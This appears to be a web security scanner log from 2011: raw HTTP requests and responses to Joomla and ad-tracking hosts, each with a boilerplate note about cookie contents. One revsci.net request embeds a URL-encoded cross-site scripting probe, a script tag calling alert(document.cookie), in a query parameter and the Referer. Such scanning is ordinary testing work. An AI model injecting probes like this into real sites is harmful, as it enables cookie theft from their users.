GET /groups/viewdiscussion/996-Joomla..%2016%20Has%20Arrived.html HTTP/1.1 Host: people.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:47:59 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 33e27d3d0725f34a77c307be63476b5b=4f8b70569285b3c4a1fb98ed7e94a635; path=/ Set-Cookie: currentURI=http%3A%2F%2Fpeople.joomla.org%2Fgroups%2Fviewdiscussion%2F996-Joomla%C2%AE+16+Has+Arrived.html; expires=Tue, 25-Jan-2011 22:47:59 GMT; path=/ Last-Modified: Mon, 24 Jan 2011 22:48:00 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25943
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ping.js?url=http%3A%2F%2Ftweetmeme.com%2F&id=5c5c650d27&u=mozilla%2F5.0%20(windows%3B%20u%3B%20windows%20nt%206.1%3B%20en-us)%20applewebkit%2F534.10%20(khtml%2C%20like%20gecko)%20chrome%2F8.0.552.237%20safari%2F534.10&x=1295907703307&c=0&t=0&v=0 HTTP/1.1 Host: ping.crowdscience.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:21:01 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7i mod_wsgi/2.7 Python/2.5.2 Set-Cookie: __csv=286f8b371579253c; Domain=.crowdscience.com; expires=Sun, 24 Apr 2011 22:21:01; Path=/ Content-Length: 867 P3P: CP="NOI DSP COR NID DEVa PSAi OUR STP OTC",policyref="/w3c/p3p.xml" Connection: close Content-Type: text/plain
document.cookie = '__cst=c361a3372a99df5c;path=/'; document.cookie = '__csv=286f8b371579253c;path=/;expires=' + new Date(new Date().getTime() + 7776000000).toGMTString(); if ('2d2e35941c7237e0'!='1') ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /H05525/b3/0/3/360/1/0/12DBAF7B7D9/0/0/00000000/722681440.gif?D=DM_LOC%3Dhttp%3A%2F%2Fwww.autocheck.com%2F%253FWT.mc_id%253D1824%2526siteID%253D182471a71%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C%2Fscript%25253E6dab831a574%2526type%253D%2526make%253D%2526model%253D%2526sid%253DExperian%2526Year%253D%2526section%253D%2526content%253D%26DM_REF%3Dhttp%3A%2F%2Fburp%2Fshow%2F54%26DM_EOM%3D1 HTTP/1.1 Host: pix01.revsci.net Proxy-Connection: keep-alive Referer: http://www.autocheck.com/?WT.mc_id=1824&siteID=182471a71%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6dab831a574 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBE4gHgVlDEdBGccKRt+NPtq9Q2XTJceL+0HupXmjnWmzuhIGM6lfPp5ixKDcMr+Ii79Fc2vPW5duJgxxcN/oeczKDujEEoSBEvNoIhhASZpi002JL7KxepMxQs8stwxfU/GVEKQUZuR2gwNzE3rczaCMMDHXqzRgNXmXGXpQ29HMiCR3LFNRLO+zyc+soAgVeC3wFxfFz0TNfRqLbav7YZmm5PUmTeRjv+yY6eXNNBmRhlghJSw==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d62d3e4&0&&4d3cf159&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPFfEOlLgIYlVNWKZU1sWJH1I8V0sD586OtYWpJIZ5At588pHu0XtJj0vEjmwH5W+0fVgtXKwemg4X+X+ZcSFKrAeiVdwmYRcxYnZGANiwodqN5uhpI2RG7gf2tidEme72Dc6LcL4puWziUNiMSVj9Rlec2UMv/RY8CSw1fUUBq299ft5vcz4/QVANk+xUmIlgaIoFCnYcBk/VuIcXautuNt5oFCJuLKVA=; udm_0=MLvv8iEJPj5n5t4Lxl8gqM+1+kVoa5JUtjw8RivzoP+6DdtaaJZxHI3717ZFmK2ZlsyUeOuq1XEViaeooyTfZUM3DFRjLhZPKW5XYmxNuO+4+rYyDseF5YobgFQCn2cS7aRvMTMvoplsJb6dvG7t3PCR6Rou8l75exTjbBjgseL+XAqHsouMbHMryYHF1wxXZE50wIytk8Q3eKmmpA0exyO99w7z20ofCv9JlxWMNHyralUwaaBqnHaNcF8NLXsy9AB+zs+UcyCKXdEjj3O1C6WOtNb3pH3/jow9FynWUeWw7QSn0aSkoenRcQhxCe63j6D1DByzYPmvyTIGtMnbOmjDploVPBPbrLNCKcbesh+PrRvMnSVXdy05AL22vNX0q4JCOba0b9bOGV8NtCTL9L3/TUIPkLc+apBjqNighdFBh36gkaxuC1c/An57s+87tT5f8png7zjrKl9PcTk3l4Y5RLgIy3GmWmLXFI93zstHlqsJgWd5QlwPCdT76camu9cemH/XJhelupJXy/sB5OGGoHHObI87INpeX0bS1gX3MOhN2NKt5hwZF/B8uoP85q7F0xxRf3ipYj4GZGV7k1/y4mq698jVyTdCsDE0i9Y7Q66bh3+Z4MfhR6lSoSmVAKVIUiWWW4G3/wTqrejoUQCYoQKd4VwE/i4ToD9z5SSr4tny7VPLcN0fTcmjjYo377nxMIFMKDCkOo0XGMGHpNIudWENyCdQ0DrCiXIGV9nuUw8Q3qmUsYwDn/aRc4ciHT0ANjzZVwN53mjStBIjn/S2XdwK13xeoP8pXNfmKCYFrf8pU+0/Yn7gtaIl0ujBFU2ORgQQ2P/Jaf/WlLPAqyPBvwp/X9958EnXYBM2+sm/tx7X2Czc168Jw9LTEmh/A3Gw0ZpetH5orwSKrfqcnwOV1sbSoQxyd1GbYRlqFXI=; rsi_us_1000000=pUMd5E+jOAQU7cSkfv4IPX6eN3YupMgZuJrysr+11fWxVfkSpo0os1NAOiV7o4tu+/m94QEhZP0cXHl+jltOoG8kdZMnfyxlxePpC8HjcSIzweBxL1RaZuXGxOcyb5DPQUA0BNBxiAzJTnhtaoovtsej7KfbOzVqwWQAwu7pzeuJhMTpgYxQRIFodt609Kmvmi2voHMjDyFGDAqmh5BUBJptcRLuM3k8wyDEsdR/JQyXnpG2EyjMCdDhtxN1n9dfozURJG0GnWUJc5NA+/6WswcH9TEm2KF6lrp/i83TnEha22I6hWy0Mw6iH9nKJUHAcAfi1n4sxzN+Pn9/0I6Gab3MqiEskA2X5tJjHle5QxPNxrbdR5NxhevdEnWJMXTtgi3Wk4Vyr3JczLTywQ8uIu54kw/PS5a+wHiP0EsLne0HG01orKurPeZuidEJHhW75HbZAz22cuz2r1qI9Wehlyio6Qe9nCbVIJBPqoE8QUfCmCr2oj/cmdY9+2DKExi05VBzMutgzcVv8HNLlMERiEATkQqa9g7LXFFcXWMSoYyxfVWbcDgT8wm3j6l2TNr+GIAICRcg0nlAPQJuT7ZS6Ud6Hvor2dTZmWdTeQ2rPlZ1uOjGmikwDw2GrCuh5m/iT/l+E9wG5IRy/ydqh2a+9q3aejykJqymBN3BZLPuGhyTP4PdVSKYR0ITgGAvzWqIFl0LhrVjtCokLQizF1ZTiim4fIn6AiSa18OoqxGaUE/gTsbe45JpJKYly9hnej6gFG9Fq48mQGoXqgy+UyJtehg4yPWLjyUavRi/ZGAot5+iNQeoldbJUCFlbi8H3At4n1S9s4u0e6pTI95ZorowqQUo+fSV3g2N9p5zeOwI+cmdoEsnV/XTzldmltapU6Rg8c2baKjX6LcjSFhyX7bP76iTEQSlpNsccyN5AYX+AhEu6NRB3v3neOIiKC7cJP1qyTPU8bf6+hakxdkBqBCD
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rtc_0=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPFekOFbwIUllNab/ezT+71tZc3ltU2c6Ot/evo4ZtovTXUVHSclqCxKr7OS2Tzwu4/ImKEN8BiOobyb3WUFAnv+oHe6qUcrWMruZg9+u2gfzq3cXL5QuB06QtfVNA8x1zeoA1Q4OW3y0hdHSsQb0Nq4ylOyx51VXuI7xeDLFEtKloAjPKQGJsHD2wp8shP4CizzpdqkyYnPP/VZgm2vL/HVZjLwI2vTVOuAtw0dbl8Nx7cbw9B+miy5yfK; Domain=.revsci.net; Expires=Wed, 25-Jan-2012 02:19:11 GMT; Path=/ Set-Cookie: NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; Domain=.revsci.net; Expires=Tue, 22-Feb-2011 02:19:11 GMT; Path=/ Set-Cookie: rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F1rgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S2/PWs9VoKGAMaffRXZIcKsIfI0BwBDjCjZpjEC71nxlYizCu6A+lfGsvTCpuc5/BZCd8dAQtpSxRHzMi6uGYXwHdJ/d8IQUDaybNyCnRbnxo06dBQo6MP+y2flHvCWwRN8R9QUy/ewmRfIY0CQ7gY2Fz5GIodV599nhNMkQuVM5gmbrYq7x5I21/KffdTJpt7T0ZTSX1eK3qBIo7MivlBA41pJ1L7pGL/iJtvadgZSAkPC3F; Domain=.revsci.net; Expires=Wed, 25-Jan-2012 02:19:11 GMT; Path=/ X-Proc-ms: 45 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: image/gif Content-Length: 43 Date: Tue, 25 Jan 2011 02:19:10 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /D08734/a1/0/3/0.js?D=DM_LOC%3Dhttp%253A%252F%252Fna.com%253Fnada%253D%2526naid%253D%2526namp%253D HTTP/1.1 Host: pix04.revsci.net Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; udm_0=MLvv8iEJPj5n5t4Ltt9EX/C7xZnl5hjzDNVGFWEzjcOGPSjwQeqblsz4NQqc0gDPHJGwQqP04Gl/fjd0NwxKE04RBfv6QDvz32B6fwU5Fu34L666BG4fi9tTCQB7HzLjsLqPpe/ZNv6p6Wv6E4ZBUtNIPMZXaK38wui6tKY7SLyOhMMPSJKHQjAq7iVOFpHQSiIVffpJbnNSOVw3KAaxc6ZIuNW0TwoNno2N7hLN8h5r0ETnNH1Wumo6MsJMHy6rUG0M0AVwc0C8t2sgjHPROMA7VMvEXCMRiwynjB1TRk/+PVfpEc1tHyJeAqnj0jneawiO5aIsZWU/7yPlu5ciMTLE8+z5XpS+HdjIJZiKw1Jd4rWuHlcWhdMmo0w4BgvLrRDX5hKPVKrZaofBbsFrLK+YUHM4qv2l8zWxk2A0eFUUwPQGjp4RSLamucNFvJcwuLIA/C4N0vTadc1XEiqHWN9m59nxOVRc25CL28bCg9D7XIK8eQGl39rH79pq83w2Y7yTdp2vq/JQyywuUIosSaihXjhZsv5zVjsGq0ous0noNBGVBibouZ6BUldR6RYnFDGvwwEsGVJSDLRRNx/p1i5vF0c5w+tOkuGmoQgKCEah+BLI3eY4IHERUjQHegjRiYhL18Bf95kytJzUyG1CQvSeHJOczvbE8rlrMExy1YkvWXbw0EkxMvneLlRouFMzUVJFJTrqMPWcsk2yKZjYh/ijo2o/CmAOTbQ5kX5IdSZG+Myf0KmUsYyDn3ob6Bqd0BC6gho3A+TkpwR3LAXJV+jj4sbj58smKFZBQAZVL97B2AHIadTbzX24S5gt3hJk6ySr2S1M1lWOdAtajdXelKAOgeKm2wNtK/Wy58LDt1SOkNjbuNw5upFoMJrUEnAHA3Gw0Zpesn5sqwSKrfo8m1ARoDsiZ17yITyYdiQgFv4=; rsi_us_1000000=pUMd5U+DfxIU7WxyqNQb+zH1s17HozKcX9zb1nGBmx1V/jUVnfeldtQjURXj62Ij5rwYZ9wJ1NqZFDtPnA/ai2kzB4ZWck4RlBED9tHPfALbjG5/h+EbQvknzyyRcrItMoJol6PXNTl/OKv1HLyRjqxPdUMPuhTeFrZcyO8gAu7DnkKRicwv26rJbnB2YkIMVwnyQe25v0bF8cRbuIDVa248qh0eMMOfyR/FXEsxPsbCZDweM7dbepZIWR3dtd+dVimkWAYQoZALNR+V/guGHuxfyVd2gEOLAGwOQllMhFXpg30hoPoVfJhXFUqiQNm3BzjM0qe3oej3+PsACj2CU61hVKeF2HNY9k2ol1ixdYUyhZXc+csbq2QEngScG8Fyk28f3CtFfcgafRot2T5UJdsjwU///O8q5QLpNWARM1w/lHLi6xhWyV7RPg2RTuUehxIA5X1CDzhakTy4gchBqLYpsImsUgwLdediq5xOCZUg5jzSYFUo7zRvJUElYuphp8OzQ1AQryrdIBXfr2Q7k0pOTQtw0Sya6irERSdIDFN9xHQEpu/KZi/VfFED67ADmmemfMMNlbnugnmTr6LTfKuLWuw4QB8ULOl4ICmXLj6pBD/5tNcSMJWTFHOixo4IK0vkutnkoKUs/dGDMVzfYfICMrfqYm5ooaMqvnmJ2DAzQJTYRF4vDA6NPTQcbJifGlogyZA5q8lXRY25R+s5rcSx1LACJzBJtIrHnrtl8SXouSQzf3kTOxNhVDItJBmmUFdwuBsLv9W3DOHJYpGPu7/HeVRht67vcq4vWMq3VbvT2WCZWCAVmSFQIlAkZlXJXT993g==; rsi_segs_1000000=pUPFfcnGLgIUllNabySXY2IY55gHIZ1QyKSeDed+9JzIG0W8+AvdYSYAvxOUI2VbrccphmHkGcSot3nYvefOg9C/MS0+qcd1BcnTcNaYEkF0xialv9bj0hdb5U5jkD/4MjdaHkbSa+M/fe/FnBrMkcx0mUp01NJdnnpXlDRY2lXJS+GRf809xmH4pSnkubT29s7GCNDtfCsSqFFM2AiI79rbsE4FMdY=; rtc_0=MLuBE4gHgVlDEdBGccKRt+NPtq9Q2XTJceL+0HupXmjnWmzuhIGM6lfPp5ixKDcMr+Ii79Fc2vPW5duJgxxcN/oeczKDujEEoSBEvNoIhhASZpi002JL7KxepMxQs8stwxfU/GVEKQUZuR2gwNzE3rczaCMMDHXqzRgNXmXGXpQ29HMiCR3LFNRLO+zyc+soAgVeC3wFxfFz0TNfRqLbav7YZmm5PUmTeRjv+yY6eXNNBmRhlghJSw==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d62d3e4&0&&4d3cf159&4c5cffb70704da9ab1f721e8ae18383d
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rtc_0=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPFe0PF7gMQVVNGyQq+TU2VE+8mA39mBOeRh8RvTJt273WYJS9QISCAgxkL8VjFACM37MfrDDLUs0/J7x6i1dFRPx6pUlOXaI5/n7KF+o95GFlfu6bAQxdbksk/G6ZetLtVuUHObHxtaAhT6IXAr41re6IGCI3YkT7Ot5GHMsd00VnbeSE3LED2fRDf76H+UXNnAo6GqQf642LViN27Nm5ci4P2QCs/mQ==; Domain=.revsci.net; Expires=Wed, 25-Jan-2012 03:06:32 GMT; Path=/ Set-Cookie: udm_0=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: udm_0=MLvv8iMJPj5n556BI9UE1kizmpAJIKPS2xvIWgYgIL9uKluQ8FTWspXP9z4dgc5Tjg+GkX/DBLD8Zrk6ODbszw9SQsj7PZKWy9ABFwmjwFQ0evvUib/yLZvfFBwXjwkM6rO5fK3YxCq96Or8oFRjVVbCdBPtCXzjQQ606TVULA37mJHG25W+jkE7p1jQOeoDDwy2jaZ6Omq9TgPkKnz/2sB0xjf6hRk5jspTBxqt3Samayo0BEhuwOAtLyHa2SAHSFNkdscUfCABv5wWZ69lNy/8E1fEy1c0DItf5p8OFukjcdIonhq1eRb6B48/AILBIc00QM0t7lo3mxTkSaRCHTLwWpI/++sA4FlsayoEUarNExUU14xOuUzXwFMaOQsoKguT4Mqv46Zp+p9aQ4hBJ4x7XfHf1Yit+yw4YwheL7sEc5PCCZWuYBwsPCjjdwfifwIkriRKqwo0hzzpuv/m8IR1NyhxKkuk5UPrz/0VvxhBuaVzKJhwMfvue26gSUOMHdBWtA/j4mN8kgEP9MoS1UlCXJAYq2xvKQHpINvr5HGv5ED0JzYAHaKinjgVdRdZEFJayVgS5+Vn0gT5QbIyKvOAct9TPFNBfNF4KZv6Cd+4q1QE+wyal0pIenFyY1LiESIecDIzguUCGeMMlqS8UOgDOJ0GlaX4I4i0BWA6cWEsvE3p6qa90UVX6zf0f62pK8/yb9lJ2URHr/fWfNNqpVKdEeL/IT/Vw/pEdLjNz3BRFPSMC5AcC6moMFLV9fmvTLWnyTgGS+vrC91TuEpKa5Q5B4/35ZET8T1LQZ4kfDraCwCPKoMcDRlIYdTjJrUN+eQXmdK9qokSlrPjDATn81V5QAgfh7AY63Dn1yl75bX4LJLOke9K9tsmFvJLkDnM6XVaYNZJWpEJJiINpz7cuAE6deDoOnuaZrAt4Hq4ACj0; Domain=.revsci.net; Expires=Wed, 25-Jan-2012 03:06:32 GMT; Path=/ Set-Cookie: rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F1rgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S2/PWs9VoKGAMaffRXZIcKsIfI0BwBDjCjZpjEC71nxlYizCu6A+lfGsvTCpuc5/BZCd8dAQtpSxRHzMi6uGYXwHdJ/d80gUDW6ZteHnhbnxoW32lNFY0RqP3YO00gC9MvXLUz2hBYjVv/fgqyTx1ReFJEGLEnkzsXGVm9+/kBk41UxopUKSTrKRzkQ5YXg==; Domain=.revsci.net; Expires=Wed, 25-Jan-2012 03:06:32 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 297 Date: Tue, 25 Jan 2011 03:06:32 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /K04491/b3/0/3/1003161/978210799.js?D=DM_LOC%3Dhttp%253A%252F%252Fwww.autobytel.com%252Fx22%253FChannel%253D%2526Make%253D%2526Category%253D%2526Site%253DAutobytel.com%2526_rsiL%253D0%26DM_REF%3Dhttp%253A%252F%252Fburp%252Fshow%252F31%26DM_EOM%3D1&C=K04491 HTTP/1.1 Host: pix04.revsci.net Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd5U+DfxIU7WwyrNQb2zsSFn/hJiW258mwCPCWmcgin7Ykjm72mb7cpStB8YF3kI7TO6x7AobBweYSl9GZ0nXyMV0lFSlMa1jHrq+n9QT6FijETfViMfJgDyuBz0n8Hk28yO5p/fRuPzGtQPRkyu5Bc6axhObjT2cysIx+D4/NrHkSZpo4vk8w5l61U5SqdOiUvEeCZ5WrSLwN+Xq5aEPZSO2oX3vsODweKrIMy8p+ldR7d76u4sEt6RgWsfSNxtXQ1lt23lO4GrGh25UY7nMoVnrr5iAvFRtg24ViPVDowzcxt8eRODdcZiwbVc2np3WjZtoAJ1aO71nPtckWRa8VCRDcVPa+cMxvGtmbDEBHIOMyi8IUEWK0av0+4ojr1uh/umPt1bAaq4aUO4z8oENY7vBTaZSyETfDH8dVtshVbMqgt6mXZyMdxxn2bQSZVCIbYsSr7E1B995sZq2f+pJ2+M8K7OUr/r3a9SLKcxQ+lAR8cX83159adv1KgRuaALpGKRFQDil4cYbegCYXB33l6nFeV9R2FwBG2izy3Gm5I+NoOBfFFGboa7p0gM1gg8TrrRL1LoRP21v8OErLvjC/xINg6T9J1c15UckQKoakfMW6lVoLFukvaGPQXMQt3IlOXJncY9VGQY3BI0ThPnKoHx//VhhBBOENVxJVlKoRta67M24YVtuqylurRv9JKzlEWoYz0la7gmQzl6pSfsGHo6jvv6og5GuUjBC/UfRyPmP2YD/Z6MLNJ5s1pn32pCXBNuGqM/MWn0ix3FgHGlWpSEpv7Ru3AkJmVgjGyeuRwLBzeHzpYe8hv8Y=; rsi_segs_1000000=pUPFfUnF7gMUVVNGyQq6Tc2UE03EygBbRXVdvuFY1BA6MUfyIuV86Lli0TAjp7vTbarnvaHN9T2ow1lTs80IFRatyDifWyk9mf1Kh7aRP1Ys1ciYX3r+3g5rrIF04H4FAiutUjgMss6NEqGMIeSYHxakEN/DRePx1bwHrbhXzJD91WqT8N1pQYXg+GpVj1vtVjK1+AiwL4ScNYq0oKT0cw==; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F2LgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S23vXs9VpSODtSfbRXbKeKsIfm/9vVCVRHq5E9dPOyJm5LyxhQ0JLpdlLRkRi1AuT5G8QYh4GpDTxObx7HqsmwclpQmx8PITjRXvTVnlGDfiP+KG3TuYhIgfdoMdRUNcxsYfj/XLnOWpzH6FblA==; udm_0=MLvv8iEJPj5n5t4Ltt9EX/C7xZnl5hjzDNVGFWEzjcOGPSjwQeqblsz4NQqc0gDPHJGwQqP04Gl/fjd0NwxKE04RBfv6QDvz32B6fwU5Fu34L666BG4fi9tTCQB7HzLjsLqPpe/ZNv6p6Wv6E4ZBUtNIPMZXaK38wui6tKY7SLyOhMMPSJKHQjAq7iVOFpHQSiIVffpJbnNSOVw3KAaxc6ZIuNW0TwoNno2N7hLN8h5r0ETnNH1Wumo6MsJMHy6rUG0M0AVwc0C8t2sgjHPROMA7VMvEXCMRiwynjB1TRk/+PVfpEc1tHyJeAqnj0jneawiO5aIsZWU/7yPlu5ciMTLE8+z5XpS+HdjIJZiKw1Jd4rWuHlcWhdMmo0w4BgvLrRDX5hKPVKrZaofBbsFrLK+YUHM4qv2l8zWxk2A0eFUUwPQGjp4RSLamucNFvJcwuLIA/C4N0vTadc1XEiqHWN9m59nxOVRc25CL28bCg9D7XIK8eQGl39rH79pq83w2Y7yTdp2vq/JQyywuUIosSaihXjhZsv5zVjsGq0ous0noNBGVBibouZ6BUldR6RYnFDGvwwEsGVJSDLRRNx/p1i5vF0c5w+tOkuGmoQgKCEah+BLI3eY4IHERUjQHegjRiYhL18Bf95kytJzUyG1CQvSeHJOczvbE8rlrMExy1YkvWXbw0EkxMvneLlRouFMzUVJFJTrqMPWcsk2yKZjYh/ijo2o/CmAOTbQ5kX5IdSZG+Myf0KmUsYyDn3ob6Bqd0BC6gho3A+TkpwR3LAXJV+jj4sbj58smKFZBQAZVL97B2AHIadTbzX24S5gt3hJk6ySr2S1M1lWOdAtajdXelKAOgeKm2wNtK/Wy58LDt1SOkNjbuNw5upFoMJrUEnAHA3Gw0Zpesn5sqwSKrfo8m1ARoDsiZ17yITyYdiQgFv4=
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rtc_0=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPFfcnGLgIUllNabySXY2IY55gHIZ1QyKSeDed+9JzIG0W8+AvdYSYAvxOUI2VbrccphmHkGcSot3nYvefOg9C/MS0+qcd1BcnTcNaYEkF0xialv9bj0hdb5U5jkD/4MjdaHkbSa+M/fe/FnBrMkcx0mUp01NJdnnpXlDRY2lXJS+GRf809xmH4pSnkubT29s7GCNDtfCsSqFFM2AiI79rbsE4FMdY=; Domain=.revsci.net; Expires=Tue, 24-Jan-2012 21:06:44 GMT; Path=/ Set-Cookie: rtc_0=MLuBE4gHgVlDEdBGccKRt+NPtq9Q2XTJceL+0HupXmjnWmzuhIGM6lfPp5ixKDcMr+Ii79Fc2vPW5duJgxxcN/oeczKDujEEoSBEvNoIhhASZpi002JL7KxepMxQs8stwxfU/GVEKQUZuR2gwNzE3rczaCMMDHXqzRgNXmXGXpQ29HMiCR3LFNRLO+zyc+soAgVeC3wFxfFz0TNfRqLbav7YZmm5PUmTeRjv+yY6eXNNBmRhlghJSw==; Domain=.revsci.net; Expires=Tue, 24-Jan-2012 21:06:44 GMT; Path=/ Set-Cookie: NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d62d3e4&0&&4d3cf159&4c5cffb70704da9ab1f721e8ae18383d; Domain=.revsci.net; Expires=Mon, 21-Feb-2011 21:06:44 GMT; Path=/ X-Proc-ms: 3 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 147 Date: Mon, 24 Jan 2011 21:06:44 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /K04491/b3/0/3/1003161/978210799.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 